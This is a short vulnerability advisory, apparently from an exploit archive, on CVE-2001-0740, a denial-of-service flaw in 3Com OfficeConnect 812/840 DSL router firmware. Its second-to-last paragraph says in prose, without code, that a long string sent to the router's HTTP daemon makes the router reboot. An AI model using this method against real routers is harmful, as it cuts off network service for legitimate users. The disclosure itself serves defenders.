3Com OfficeConnect DSL Router 812 1.1.7/840 1.1.7 HTTP Port Router DoS. CVE-2001-0740. Dos exploit for hardware platform

OfficeConnect 812 is a DSL router manufactured by 3Com, and distributed by numerous DSL providers. OfficeConnect 812 is an integrated ADSL router with an onboard 4 port switch.

A problem in the firmware included with this router could allow a Denial of Service. It is possible to reboot the router by connecting to the HTTP daemon, and requesting a long string. The router will power-cycle itself.

This problem makes it possible for a remote user to deny service to legimate users of networks serviced by the router.
